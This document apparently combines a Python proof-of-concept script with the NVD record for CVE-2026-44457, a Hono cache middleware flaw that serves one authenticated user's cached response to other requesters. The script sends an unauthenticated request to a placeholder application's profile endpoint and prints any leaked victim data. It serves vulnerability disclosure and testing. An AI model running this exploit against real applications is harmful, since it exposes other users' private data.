CVE-2026-44457

import requests # PoC for CVE-2026-44457: Hono Cache Middleware Information Leakage # This script demonstrates how an attacker can retrieve cached data of another user. target_url = "http://vulnerable-hono-app.com/api/profile" def exploit(): # Step 1: Simulate the scenario where a victim's data is cached. # In a real attack, this happens naturally when a victim browses the site. # Here we assume the cache is already populated by a previous request from a victim. print("[+] Assuming victim data is already cached...") # Step 2: Attacker sends a request without authentication headers. # The application should return 401 Unauthorized. # However, due to the vulnerability, it returns the cached 200 OK from the victim. headers = { # No Authorization or Cookie headers "User-Agent": "Attacker-Scanner/1.0" } print(f"[*] Sending unauthenticated request to {target_url}") response = requests.get(target_url, headers=headers) # Step 3: Check if we received the victim's data if response.status_code == 200: print("[+] Exploit successful! Received cached data:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-44457", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:57.700", "lastModified": "2026-05-13T18:34:01.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, Cache Middleware does not skip caching for responses that declare per-user variance via Vary: Authorization or Vary: Cookie. As a result, a response cached for one authenticated user may be served to subsequent requests from different users. This vulnerability is fixed in 4.12.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-524"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "4.12.18", "matchCriteriaId": "5AB1A6FC-8475-4A23-9E63-46F3E6C5D264"}]}]}], "references": [{"url": "https://github.com/honojs/hono/security/advisories/GHSA-p77w-8qqv-26rm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}